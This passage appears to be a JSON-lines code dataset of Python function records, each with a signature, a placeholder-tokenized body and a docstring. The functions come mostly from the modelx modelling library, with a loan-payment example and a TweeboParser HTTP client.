{"signature": "def get_updated_data(self):", "body": "self.get_updated()<EOL>return self.data<EOL>", "docstring": "Get updated ``data`` instead of self.", "id": "f13983:c7:m1"}
{"signature": "@property<EOL><INDENT>def _baseattrs(self):<DEDENT>", "body": "result = {\"<STR_LIT:type>\": type(self).__name__}<EOL>try:<EOL><INDENT>result[\"<STR_LIT>\"] = {<EOL>name: item._baseattrs<EOL>for name, item in self.items()<EOL>if name[<NUM_LIT:0>] != \"<STR_LIT:_>\"<EOL>}<EOL><DEDENT>except:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % self)<EOL><DEDENT>return result<EOL>", "docstring": "A dict of members expressed in literals", "id": "f13983:c14:m6"}
{"signature": "def __init__(self, owner):", "body": "LazyEval.__init__(self, [])<EOL>self.owner = owner<EOL>self.namespace_impl = owner._namespace_impl  <EOL>self.observe(self.namespace_impl)<EOL>self.altfunc = None<EOL>self.set_update()<EOL>", "docstring": "Create altered function from owner's formula.\n\n        owner is a StaticSpaceImpl or CellsImpl, which has formula, and\n        namespace_impl as its members.", "id": "f13983:c16:m0"}
{"signature": "def _update_data(self):", "body": "func = self.owner.formula.func<EOL>codeobj = func.__code__<EOL>name = func.__name__  <EOL>namespace_impl = self.owner._namespace_impl.get_updated()<EOL>namespace = namespace_impl.interfaces<EOL>selfnode = get_node(self.owner, None, None)<EOL>for name in self.owner.formula.srcnames:<EOL><INDENT>if name in namespace_impl and isinstance(<EOL>namespace_impl[name], ReferenceImpl<EOL>):<EOL><INDENT>refnode = get_node(namespace_impl[name], None, None)<EOL>self.owner.model.lexdep.add_path([selfnode, refnode])<EOL><DEDENT><DEDENT>closure = func.__closure__  <EOL>if closure is not None:  <EOL><INDENT>closure = create_closure(self.owner.interface)<EOL><DEDENT>self.altfunc = FunctionType(<EOL>codeobj, namespace, name=name, closure=closure<EOL>)<EOL>", "docstring": "Update altfunc", "id": "f13983:c16:m1"}
{"signature": "@property<EOL><INDENT>def spaces(self):<DEDENT>", "body": "return self._impl.spaces.interfaces<EOL>", "docstring": "A mapping of the names of child spaces to the Space objects", "id": "f13984:c0:m0"}
{"signature": "def cur_space(self, name=None):", "body": "if name is None:<EOL><INDENT>return self._impl.model.currentspace.interface<EOL><DEDENT>else:<EOL><INDENT>self._impl.model.currentspace = self._impl.spaces[name]<EOL>return self.cur_space()<EOL><DEDENT>", "docstring": "Set the current space to Space ``name`` and return it.\n\n        If called without arguments, the current space is returned.\n        Otherwise, the current space is set to the space named ``name``\n        and the space is returned.", "id": "f13984:c0:m1"}
{"signature": "@property<EOL><INDENT>def _baseattrs(self):<DEDENT>", "body": "result = super()._baseattrs<EOL>result[\"<STR_LIT>\"] = self.spaces._baseattrs<EOL>return result<EOL>", "docstring": "A dict of members expressed in literals", "id": "f13984:c0:m2"}
{"signature": "def new_space(self, name=None, bases=None, formula=None, refs=None):", "body": "space = self._impl.model.currentspace = self._impl.new_space(<EOL>name=name, bases=get_impls(bases), formula=formula, refs=refs<EOL>)<EOL>return space.interface<EOL>", "docstring": "Create a child space.\n\n        Args:\n            name (str, optional): Name of the space. Defaults to ``SpaceN``,\n                where ``N`` is a number determined automatically.\n            bases (optional): A space or a sequence of spaces to be the base\n                space(s) of the created space.\n            formula (optional): Function to specify the parameters of\n                dynamic child spaces. The signature of this function is used\n                for setting parameters for dynamic child spaces.\n                This function should return a mapping of keyword arguments\n                to be passed to this method when the dynamic child spaces\n                are created.\n\n        Returns:\n            The new child space.", "id": "f13984:c1:m0"}
{"signature": "def import_module(self, module=None, recursive=False, **params):", "body": "if module is None:<EOL><INDENT>if \"<STR_LIT>\" in params:<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\")<EOL>module = params.pop(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in params:<EOL><INDENT>params[\"<STR_LIT>\"] = get_impls(params[\"<STR_LIT>\"])<EOL><DEDENT>space = (<EOL>self._impl.model.currentspace<EOL>) = self._impl.new_space_from_module(<EOL>module, recursive=recursive, **params<EOL>)<EOL>return get_interfaces(space)<EOL>", "docstring": "Create a child space from an module.\n\n        Args:\n            module: a module object or name of the module object.\n            recursive: Not yet implemented.\n            **params: arguments to pass to ``new_space``\n\n        Returns:\n            The new child space created from the module.", "id": "f13984:c1:m1"}
{"signature": "def new_space_from_module(self, module, recursive=False, **params):", "body": "if \"<STR_LIT>\" in params:<EOL><INDENT>params[\"<STR_LIT>\"] = get_impls(params[\"<STR_LIT>\"])<EOL><DEDENT>space = (<EOL>self._impl.model.currentspace<EOL>) = self._impl.new_space_from_module(<EOL>module, recursive=recursive, **params<EOL>)<EOL>return get_interfaces(space)<EOL>", "docstring": "Create a child space from an module.\n\n        Alias to :py:meth:`import_module`.\n\n        Args:\n            module: a module object or name of the module object.\n            recursive: Not yet implemented.\n            **params: arguments to pass to ``new_space``\n\n        Returns:\n            The new child space created from the module.", "id": "f13984:c1:m2"}
{"signature": "def new_space_from_excel(<EOL>self,<EOL>book,<EOL>range_,<EOL>sheet=None,<EOL>name=None,<EOL>names_row=None,<EOL>param_cols=None,<EOL>space_param_order=None,<EOL>cells_param_order=None,<EOL>transpose=False,<EOL>names_col=None,<EOL>param_rows=None,<EOL>):", "body": "space = self._impl.new_space_from_excel(<EOL>book,<EOL>range_,<EOL>sheet,<EOL>name,<EOL>names_row,<EOL>param_cols,<EOL>space_param_order,<EOL>cells_param_order,<EOL>transpose,<EOL>names_col,<EOL>param_rows,<EOL>)<EOL>return get_interfaces(space)<EOL>", "docstring": "Create a child space from an Excel range.\n\n        To use this method, ``openpyxl`` package must be installed.\n\n        Args:\n            book (str): Path to an Excel file.\n            range_ (str): Range expression, such as \"A1\", \"$G4:$K10\",\n                or named range \"NamedRange1\".\n            sheet (str): Sheet name (case ignored).\n            name (str, optional): Name of the space. Defaults to ``SpaceN``,\n                where ``N`` is a number determined automatically.\n            names_row (optional): an index number indicating\n                what row contains the names of cells and parameters.\n                Defaults to the top row (0).\n            param_cols (optional): a sequence of index numbers\n                indicating parameter columns.\n                Defaults to only the leftmost column ([0]).\n            names_col (optional): an index number, starting from 0,\n                indicating what column contains additional parameters.\n            param_rows (optional): a sequence of index numbers, starting from\n                0, indicating rows of additional parameters, in case cells are\n                defined in two dimensions.\n            transpose (optional): Defaults to ``False``.\n                If set to ``True``, \"row(s)\" and \"col(s)\" in the parameter\n                names are interpreted inversely, i.e.\n                all indexes passed to \"row(s)\" parameters are interpreted\n                as column indexes,\n                and all indexes passed to \"col(s)\" parameters as row indexes.\n            space_param_order: a sequence to specify space parameters and\n                their orders. The elements of the sequence denote the indexes\n                of ``param_cols`` elements, and optionally the index of\n                ``param_rows`` elements shifted by the length of\n                ``param_cols``. The elements of this parameter and\n                ``cell_param_order`` must not overlap.\n            cell_param_order (optional): a sequence to reorder the parameters.\n                The elements of the sequence denote the indexes of\n                ``param_cols`` elements, and optionally the index of\n                ``param_rows`` elements shifted by the length of\n                ``param_cols``. The elements of this parameter and\n                ``cell_space_order`` must not overlap.\n\n        Returns:\n            The new child space created from the Excel range.", "id": "f13984:c1:m3"}
{"signature": "def restore_state(self, system):", "body": "for space in self._spaces.values():<EOL><INDENT>space.restore_state(system)<EOL><DEDENT>", "docstring": "Called after unpickling to restore some attributes manually.", "id": "f13984:c2:m3"}
{"signature": "def _set_space(self, space):", "body": "raise NotImplementedError<EOL>", "docstring": "To be overridden in subclasses.", "id": "f13984:c2:m9"}
{"signature": "def new_space(<EOL>self,<EOL>name=None,<EOL>bases=None,<EOL>formula=None,<EOL>*,<EOL>refs=None,<EOL>source=None,<EOL>is_derived=False,<EOL>prefix=\"<STR_LIT>\"<EOL>):", "body": "from modelx.core.space import StaticSpaceImpl<EOL>if name is None:<EOL><INDENT>name = self.spacenamer.get_next(self.namespace, prefix)<EOL><DEDENT>if name in self.namespace:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>if not prefix and not is_valid_name(name):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>space = self._new_space(<EOL>name=name,<EOL>formula=formula,<EOL>refs=refs,<EOL>source=source,<EOL>is_derived=is_derived,<EOL>)<EOL>self._set_space(space)<EOL>self.model.spacegraph.add_space(space)<EOL>if bases is not None:<EOL><INDENT>if isinstance(bases, StaticSpaceImpl):<EOL><INDENT>bases = [bases]<EOL><DEDENT>space.add_bases(bases)<EOL><DEDENT>return space<EOL>", "docstring": "Create a new child space.\n\n        Args:\n            name (str): Name of the space. If omitted, the space is\n                created automatically.\n            bases: If specified, the new space becomes a derived space of\n                the `base` space.\n            formula: Function whose parameters used to set space parameters.\n            refs: a mapping of refs to be added.\n            arguments: ordered dict of space parameter names to their values.\n            source: A source module from which cell definitions are read.\n            prefix: Prefix to the autogenerated name when name is None.", "id": "f13984:c3:m0"}
{"signature": "def configure_python():", "body": "_system.configure_python()<EOL>", "docstring": "Configure Python ``sys`` settings for modelx.\n\n    This function is called implicitly when importing modelx.\n    To restore the Python settings, call :py:func:`restore_python`", "id": "f13986:m0"}
{"signature": "def restore_python():", "body": "_system.restore_python()<EOL>", "docstring": "Restore Python ``sys`` settings for modelx.\n\n    Restore ``sys`` settings to the original states before\n    importing modelx.", "id": "f13986:m1"}
{"signature": "def setup_ipython():", "body": "_system.setup_ipython()<EOL>", "docstring": "Set up IPython shell for modelx.\n\n    Suppress IPython's default traceback messages upon error.", "id": "f13986:m2"}
{"signature": "def restore_ipython():", "body": "_system.restore_ipython()<EOL>", "docstring": "Restore IPython' default error message.\n\n    Bring back IPython's default traceback message upon error for debugging.", "id": "f13986:m3"}
{"signature": "def set_recursion(maxdepth=<NUM_LIT:1000>):", "body": "_system.callstack.maxdepth = maxdepth<EOL>", "docstring": "Set formula recursion limit.\n\n    Args:\n        maxdepth: The maximum depth of the modelx interpreter stack.", "id": "f13986:m4"}
{"signature": "def new_model(name=None):", "body": "return _system.new_model(name).interface<EOL>", "docstring": "Create and return a new model.\n\n    The current model is set set to the created model.\n\n    Args:\n        name (:obj:`str`, optional): The name of the model to create.\n            Defaults to ``ModelN``, with ``N``\n            being an automatically assigned integer.\n\n    Returns:\n        The new model.", "id": "f13986:m5"}
{"signature": "def new_space(name=None, bases=None, formula=None):", "body": "return cur_model().new_space(name, bases, formula)<EOL>", "docstring": "Create and return a new space in the current model.\n\n    The ``currentspace`` of the current model is set to the created model.\n\n    Args:\n        name (:obj:`str`, optional): The name of the space to create.\n            Defaults to ``SpaceN``, with ``N``\n            being an automatically assigned integer.\n\n    Returns:\n        The new space.", "id": "f13986:m6"}
{"signature": "def defcells(space=None, name=None, *funcs):", "body": "if isinstance(space, _FunctionType) and name is None:<EOL><INDENT>func = space<EOL>return _system.currentspace.new_cells(formula=func).interface<EOL><DEDENT>elif (isinstance(space, _Space) or space is None) and (<EOL>isinstance(name, str) or name is None<EOL>):<EOL><INDENT>if space is None:<EOL><INDENT>space = _system.currentspace.interface<EOL><DEDENT>return _CellsMaker(space=space._impl, name=name)<EOL><DEDENT>elif all(<EOL>isinstance(func, _FunctionType) for func in (space, name) + funcs<EOL>):<EOL><INDENT>return [defcells(func) for func in (space, name) + funcs]<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Decorator/function to create cells from Python functions.\n\n    Convenience decorator/function to create new cells directly from function\n    definitions or function objects substituting for calling\n    :py:meth:`new_cells <modelx.core.space.StaticSpace.new_cells>`\n    method of the parent space.\n\n    There are 3 ways to use ``defcells`` to define cells from functions.\n\n    **1. As a decorator without arguments**\n\n    To create a cells from a function definition in the current space of the\n    current model with the same name as the function's::\n\n        @defcells\n        def foo(x):\n            return x\n\n    **2. As a decorator with arguments**\n\n    To create a cells from a function definition in a given space and/or with\n    a given name::\n\n        @defcells(space=space, name=name)\n        def foo(x):\n            return x\n\n    **3. As a function**\n\n    To create a multiple cells from a multiple function definitions::\n\n        def foo(x):\n            return x\n\n        def bar(y):\n            return foo(y)\n\n        foo, bar = defcells(foo, bar)\n\n    Args:\n        space(optional): For the 2nd usage, a space to create the cells in.\n            Defaults to the current space of the current model.\n        name(optional): For the 2nd usage, a name of the created cells.\n            Defaults to the function name.\n        *funcs: For the 3rd usage, function objects. (``space`` and ``name``\n            also take function objects for the 3rd usage.)\n\n    Returns:\n        For the 1st and 2nd usage, the newly created single cells is returned.\n        For the 3rd usage, a list of newly created cells are returned.", "id": "f13986:m7"}
{"signature": "def get_models():", "body": "return _get_interfaces(_system.models)<EOL>", "docstring": "Returns a dict that maps model names to models.", "id": "f13986:m8"}
{"signature": "def get_object(name: str):", "body": "<EOL>elms = name.split(\"<STR_LIT:.>\")<EOL>parent = get_models()[elms.pop(<NUM_LIT:0>)]<EOL>while len(elms) > <NUM_LIT:0>:<EOL><INDENT>obj = elms.pop(<NUM_LIT:0>)<EOL>parent = getattr(parent, obj)<EOL><DEDENT>return parent<EOL>", "docstring": "Get a modelx object from its full name.", "id": "f13986:m9"}
{"signature": "def _get_node(name: str, args: str):", "body": "obj = get_object(name)<EOL>args = ast.literal_eval(args)<EOL>if not isinstance(args, tuple):<EOL><INDENT>args = (args,)<EOL><DEDENT>return obj.node(*args)<EOL>", "docstring": "Get node from object name and arg string\n\n    Not Used. Left for future reference purpose.", "id": "f13986:m10"}
{"signature": "def cur_model(model=None):", "body": "if model is None:<EOL><INDENT>if _system.currentmodel is not None:<EOL><INDENT>return _system.currentmodel.interface<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(model, _Model):<EOL><INDENT>_system.currentmodel = model._impl<EOL><DEDENT>else:<EOL><INDENT>_system.currentmodel = _system.models[model]<EOL><DEDENT>return _system.currentmodel.interface<EOL><DEDENT>", "docstring": "Get and/or set the current model.\n\n    If ``model`` is given, set the current model to ``model`` and return it.\n    ``model`` can be the name of a model object, or a model object itself.\n    If ``model`` is not given, the current model is returned.", "id": "f13986:m11"}
{"signature": "def cur_space(space=None):", "body": "if space is None:<EOL><INDENT>if _system.currentmodel is not None:<EOL><INDENT>if _system.currentmodel.currentspace is not None:<EOL><INDENT>return _system.currentmodel.currentspace.interface<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(space, _Space):<EOL><INDENT>cur_model(space.model)<EOL>_system.currentmodel.currentspace = space._impl<EOL><DEDENT>else:<EOL><INDENT>_system.currentmodel.currentspace = _system.currentmodel.spaces[<EOL>space<EOL>]<EOL><DEDENT>return cur_space()<EOL><DEDENT>", "docstring": "Get and/or set the current space of the current model.\n\n    If ``name`` is given, the current space of the current model is\n    set to ``name`` and return it.\n    If ``name`` is not given, the current space of the current model\n    is returned.", "id": "f13986:m12"}
{"signature": "def open_model(path, name=None):", "body": "return _system.open_model(path, name)<EOL>", "docstring": "Load a model saved from a file and return it.\n\n    Args:\n        path (:obj:`str`): Path to the file to load the model from.\n        name (optional): If specified, the model is renamed to this name.\n\n    Returns:\n        A new model created from the file.", "id": "f13986:m13"}
{"signature": "def get_node(obj, args, kwargs):", "body": "if args is None and kwargs is None:<EOL><INDENT>return (obj,)<EOL><DEDENT>if kwargs is None:<EOL><INDENT>kwargs = {}<EOL><DEDENT>return obj, _bind_args(obj, args, kwargs)<EOL>", "docstring": "Create a node from arguments and return it", "id": "f13987:m1"}
{"signature": "def node_get_args(node):", "body": "obj = node[OBJ]<EOL>key = node[KEY]<EOL>boundargs = obj.formula.signature.bind(*key)<EOL>boundargs.apply_defaults()<EOL>return boundargs.arguments<EOL>", "docstring": "Return an ordered mapping from params to args", "id": "f13987:m2"}
{"signature": "def tuplize_key(obj, key, remove_extra=False):", "body": "paramlen = len(obj.formula.parameters)<EOL>if isinstance(key, str):<EOL><INDENT>key = (key,)<EOL><DEDENT>elif not isinstance(key, Sequence):<EOL><INDENT>key = (key,)<EOL><DEDENT>if not remove_extra:<EOL><INDENT>return key<EOL><DEDENT>else:<EOL><INDENT>arglen = len(key)<EOL>if arglen:<EOL><INDENT>return key[: min(arglen, paramlen)]<EOL><DEDENT>else:<EOL><INDENT>return key<EOL><DEDENT><DEDENT>", "docstring": "Args", "id": "f13987:m3"}
{"signature": "def reorderChild(self, parent, newitem):", "body": "source = self.getItem(parent).childItems<EOL>target = newitem.childItems<EOL>i = <NUM_LIT:0><EOL>while i < len(source):<EOL><INDENT>if source[i] == target[i]:<EOL><INDENT>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>i0 = i<EOL>j0 = source.index(target[i0])<EOL>j = j0 + <NUM_LIT:1><EOL>while j < len(source):<EOL><INDENT>if source[j] == target[j - j0 + i0]:<EOL><INDENT>j += <NUM_LIT:1><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>self.moveRows(parent, i0, j0, j - j0)<EOL>i += j - j0<EOL><DEDENT><DEDENT>", "docstring": "Reorder a list to match target by moving a sequence at a time.\n\n        Written for QtAbstractItemModel.moveRows.", "id": "f13989:c8:m6"}
{"signature": "def moveRows(self, parent, index_to, index_from, length):", "body": "source = self.getItem(parent).childItems<EOL>self.beginMoveRows(<EOL>parent, index_from, index_from + length - <NUM_LIT:1>, parent, index_to<EOL>)<EOL>sublist = [source.pop(index_from) for _ in range(length)]<EOL>for _ in range(length):<EOL><INDENT>source.insert(index_to, sublist.pop())<EOL><DEDENT>self.endMoveRows()<EOL>", "docstring": "Move a sub sequence in a list\n\n        index_to must be smaller than index_from", "id": "f13989:c8:m7"}
{"signature": "def get_modeltree(model=None):", "body": "if model is None:<EOL><INDENT>model = mx.cur_model()<EOL><DEDENT>treemodel = ModelTreeModel(model._baseattrs)<EOL>view = QTreeView()<EOL>view.setModel(treemodel)<EOL>view.setWindowTitle(\"<STR_LIT>\" % model.name)<EOL>view.setAlternatingRowColors(True)<EOL>return view<EOL>", "docstring": "Alias to :func:`get_tree`.", "id": "f13991:m0"}
{"signature": "def get_tree(model=None):", "body": "if model is None:<EOL><INDENT>model = mx.cur_model()<EOL><DEDENT>treemodel = ModelTreeModel(model._baseattrs)<EOL>view = QTreeView()<EOL>view.setModel(treemodel)<EOL>view.setWindowTitle(\"<STR_LIT>\" % model.name)<EOL>view.setAlternatingRowColors(True)<EOL>return view<EOL>", "docstring": "Get QTreeView object containing the model tree.\n\n    Args:\n        model: :class:`Model <modelx.core.model.Model>` object.\n            Defaults to the current model.", "id": "f13991:m1"}
{"signature": "def show_tree(model=None):", "body": "if model is None:<EOL><INDENT>model = mx.cur_model()<EOL><DEDENT>view = get_modeltree(model)<EOL>app = QApplication.instance()<EOL>if not app:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>view.show()<EOL>app.exec_()<EOL>", "docstring": "Display the model tree window.\n\n    Args:\n        model: :class:`Model <modelx.core.model.Model>` object.\n            Defaults to the current model.\n\n    Warnings:\n        For this function to work with Spyder, *Graphics backend* option\n        of Spyder must be set to *inline*.", "id": "f13991:m2"}
{"signature": "def get_bases(self, node):", "body": "return self.predecessors(node)<EOL>", "docstring": "Direct Bases iterator", "id": "f13995:c0:m1"}
{"signature": "def get_mro(self, space):", "body": "seqs = [self.get_mro(base) for base<EOL>in self.get_bases(space)] + [list(self.get_bases(space))]<EOL>res = []<EOL>while True:<EOL><INDENT>non_empty = list(filter(None, seqs))<EOL>if not non_empty:<EOL><INDENT>res.insert(<NUM_LIT:0>, space)<EOL>return res<EOL><DEDENT>for seq in non_empty:  <EOL><INDENT>candidate = seq[<NUM_LIT:0>]<EOL>not_head = [s for s in non_empty if candidate in s[<NUM_LIT:1>:]]<EOL>if not_head:<EOL><INDENT>candidate = None<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not candidate:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>res.append(candidate)<EOL>for seq in non_empty:<EOL><INDENT>if seq[<NUM_LIT:0>] == candidate:<EOL><INDENT>del seq[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Calculate the Method Resolution Order of bases using the C3 algorithm.\n\n        Code modified from\n        http://code.activestate.com/recipes/577748-calculate-the-mro-of-a-class/\n\n        Args:\n            bases: sequence of direct base spaces.\n\n        Returns:\n            mro as a list of bases including node itself", "id": "f13995:c0:m2"}
{"signature": "def reorder_list(source, targetorder):", "body": "i = <NUM_LIT:0><EOL>while i < len(source):<EOL><INDENT>if source[i] == targetorder[i]:<EOL><INDENT>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>i0 = i<EOL>j0 = source.index(targetorder[i0])<EOL>j = j0 + <NUM_LIT:1><EOL>while j < len(source):<EOL><INDENT>if source[j] == targetorder[j - j0 + i0]:<EOL><INDENT>j += <NUM_LIT:1><EOL>continue<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>move_elements(source, i0, j0, j - j0)<EOL>i += j - j0<EOL><DEDENT><DEDENT>", "docstring": "Reorder a list to match target by moving a sequence at a time.\n\n    Written for QtAbstractItemModel.moveRows.", "id": "f13998:m0"}
{"signature": "def move_elements(source, index_to, index_from, length):", "body": "sublist = [source.pop(index_from) for _ in range(length)]<EOL>for _ in range(length):<EOL><INDENT>source.insert(index_to, sublist.pop())<EOL><DEDENT>", "docstring": "Move a sub sequence in a list", "id": "f13998:m1"}
{"signature": "def _alter_code(code, **attrs):", "body": "PyCode_New = ctypes.pythonapi.PyCode_New<EOL>PyCode_New.argtypes = (<EOL>ctypes.c_int,<EOL>ctypes.c_int,<EOL>ctypes.c_int,<EOL>ctypes.c_int,<EOL>ctypes.c_int,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.py_object,<EOL>ctypes.c_int,<EOL>ctypes.py_object)<EOL>PyCode_New.restype = ctypes.py_object<EOL>args = [<EOL>[code.co_argcount, '<STR_LIT>'],<EOL>[code.co_kwonlyargcount, '<STR_LIT>'],<EOL>[code.co_nlocals, '<STR_LIT>'],<EOL>[code.co_stacksize, '<STR_LIT>'],<EOL>[code.co_flags, '<STR_LIT>'],<EOL>[code.co_code, '<STR_LIT>'],<EOL>[code.co_consts, '<STR_LIT>'],<EOL>[code.co_names, '<STR_LIT>'],<EOL>[code.co_varnames, '<STR_LIT>'],<EOL>[code.co_freevars, '<STR_LIT>'],<EOL>[code.co_cellvars, '<STR_LIT>'],<EOL>[code.co_filename, '<STR_LIT>'],<EOL>[code.co_name, '<STR_LIT>'],<EOL>[code.co_firstlineno, '<STR_LIT>'],<EOL>[code.co_lnotab, '<STR_LIT>']]<EOL>for arg in args:<EOL><INDENT>if arg[<NUM_LIT:1>] in attrs:<EOL><INDENT>arg[<NUM_LIT:0>] = attrs[arg[<NUM_LIT:1>]]<EOL><DEDENT><DEDENT>return PyCode_New(<EOL>args[<NUM_LIT:0>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:1>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:2>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:3>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:4>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:5>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:6>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:7>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:8>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:9>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:10>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:11>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT:12>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT>][<NUM_LIT:0>],  <EOL>args[<NUM_LIT>][<NUM_LIT:0>])<EOL>", "docstring": "Create a new code object by altering some of ``code`` attributes\n\n    Args:\n        code: code objcect\n        attrs: a mapping of names of code object attrs to their values", "id": "f13999:m0"}
{"signature": "def alter_freevars(func, globals_=None, **vars):", "body": "if globals_ is None:<EOL><INDENT>globals_ = func.__globals__<EOL><DEDENT>frees = tuple(vars.keys())<EOL>oldlocs = func.__code__.co_names<EOL>newlocs = tuple(name for name in oldlocs if name not in frees)<EOL>code = _alter_code(func.__code__,<EOL>co_freevars=frees,<EOL>co_names=newlocs,<EOL>co_flags=func.__code__.co_flags | inspect.CO_NESTED)<EOL>closure = _create_closure(*vars.values())<EOL>return FunctionType(code, globals_, closure=closure)<EOL>", "docstring": "Replace local variables with free variables\n\n    Warnings:\n        This function does not work.", "id": "f13999:m3"}
{"signature": "def get_description():", "body": "with open(path.join(here, '<STR_LIT>'), '<STR_LIT:r>') as f:<EOL><INDENT>data = f.read()<EOL><DEDENT>return data<EOL>", "docstring": "Get long description from README.", "id": "f14001:m0"}
{"signature": "def main():", "body": "print(\"<STR_LIT>\")<EOL>", "docstring": "Entry point for the application script", "id": "f14007:m0"}
{"signature": "def annual_payment():", "body": "n = payback_period<EOL>return principal / pv_payments(n)<EOL>", "docstring": "How much amount per payment for a given payback period.", "id": "f14009:m0"}
{"signature": "def pv_payments(n):", "body": "if n == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1> / (<NUM_LIT:1> + interest_rate)<EOL><DEDENT>else:<EOL><INDENT>return pv_payments(n - <NUM_LIT:1>) + <NUM_LIT:1> / (<NUM_LIT:1> + interest_rate) ** n<EOL><DEDENT>", "docstring": "Present value of repayments of 1 for n years.", "id": "f14009:m1"}
{"signature": "def payback_period():", "body": "n = <NUM_LIT:1><EOL>while annual_payment * pv_payments(n) < principal:<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>return n<EOL>", "docstring": "Payback period for a given annual payment", "id": "f14009:m2"}
{"signature": "def __init__(self, hostname: str = '<STR_LIT>',<EOL>port: int = <NUM_LIT>, retries: int = <NUM_LIT:10>,<EOL>log_errors: bool = False) -> None:", "body": "self.hostname = hostname<EOL>self.port = port<EOL>self.retries = retries<EOL>self.log_errors = log_errors<EOL>self._log_fp = Path(tempfile.gettempdir(), '<STR_LIT>')<EOL>if self._log_fp.is_file():<EOL><INDENT>self._log_fp.open('<STR_LIT:w>').close()<EOL><DEDENT>", "docstring": ":param hostname: The IP address of the TweeboParser API server.\n:param port: The Port that the TweeboParser API server is attached to.\n:param retries: Number of times to retry json decoding the\n                returned data.", "id": "f14017:c0:m0"}
{"signature": "def log_error(self, text: str) -> None:", "body": "if self.log_errors:<EOL><INDENT>with self._log_fp.open('<STR_LIT>') as log_file:<EOL><INDENT>log_file.write(f'<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Given some error text it will log the text if self.log_errors is True\n\n:param text: Error text to log", "id": "f14017:c0:m1"}
{"signature": "def parse_conll(self, texts: List[str], retry_count: int = <NUM_LIT:0>) -> List[str]:", "body": "post_data = {'<STR_LIT>': texts, '<STR_LIT>': '<STR_LIT>'}<EOL>try:<EOL><INDENT>response = requests.post(f'<STR_LIT>',<EOL>json=post_data,<EOL>headers={'<STR_LIT>': '<STR_LIT>'})<EOL>response.raise_for_status()<EOL><DEDENT>except (requests.exceptions.ConnectionError,<EOL>requests.exceptions.Timeout) as server_error:<EOL><INDENT>raise ServerError(server_error, self.hostname, self.port)<EOL><DEDENT>except requests.exceptions.HTTPError as http_error:<EOL><INDENT>raise http_error<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return response.json()<EOL><DEDENT>except json.JSONDecodeError as json_exception:<EOL><INDENT>if retry_count == self.retries:<EOL><INDENT>self.log_error(response.text)<EOL>raise Exception('<STR_LIT>'<EOL>f'<STR_LIT>')<EOL><DEDENT>return self.parse_conll(texts, retry_count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Processes the texts using TweeboParse and returns them in CoNLL format.\n\n:param texts: The List of Strings to be processed by TweeboParse.\n:param retry_count: The number of times it has retried for. Default\n                    0 does not require setting, main purpose is for\n                    recursion.\n:return: A list of CoNLL formated strings.\n:raises ServerError: Caused when the server is not running.\n:raises :py:class:`requests.exceptions.HTTPError`: Caused when the\n        input texts is not formated correctly e.g. When you give it a\n        String not a list of Strings.\n:raises :py:class:`json.JSONDecodeError`: Caused if after self.retries\n        attempts to parse the data it cannot decode the data.\n\n:Example:", "id": "f14017:c0:m2"}
{"signature": "def parse_stanford(self, texts: List[str], retry_count: int = <NUM_LIT:0><EOL>) -> List[Dict[str, Union[str, int]]]:", "body": "post_data = {'<STR_LIT>': texts, '<STR_LIT>': '<STR_LIT>'}<EOL>try:<EOL><INDENT>response = requests.post(f'<STR_LIT>',<EOL>json=post_data,<EOL>headers={'<STR_LIT>': '<STR_LIT>'})<EOL>response.raise_for_status()<EOL><DEDENT>except (requests.exceptions.ConnectionError,<EOL>requests.exceptions.Timeout,<EOL>requests.exceptions.InvalidSchema) as server_error:<EOL><INDENT>raise ServerError(server_error, self.hostname, self.port)<EOL><DEDENT>except requests.exceptions.HTTPError as http_error:<EOL><INDENT>raise http_error<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return response.json()<EOL><DEDENT>except json.JSONDecodeError as json_exception:<EOL><INDENT>if retry_count == self.retries:<EOL><INDENT>self.log_error(response.text)<EOL>raise Exception('<STR_LIT>'<EOL>f'<STR_LIT>')<EOL><DEDENT>return self.parse_stanford(texts, retry_count + <NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Processes the texts using TweeboParse and returns them in 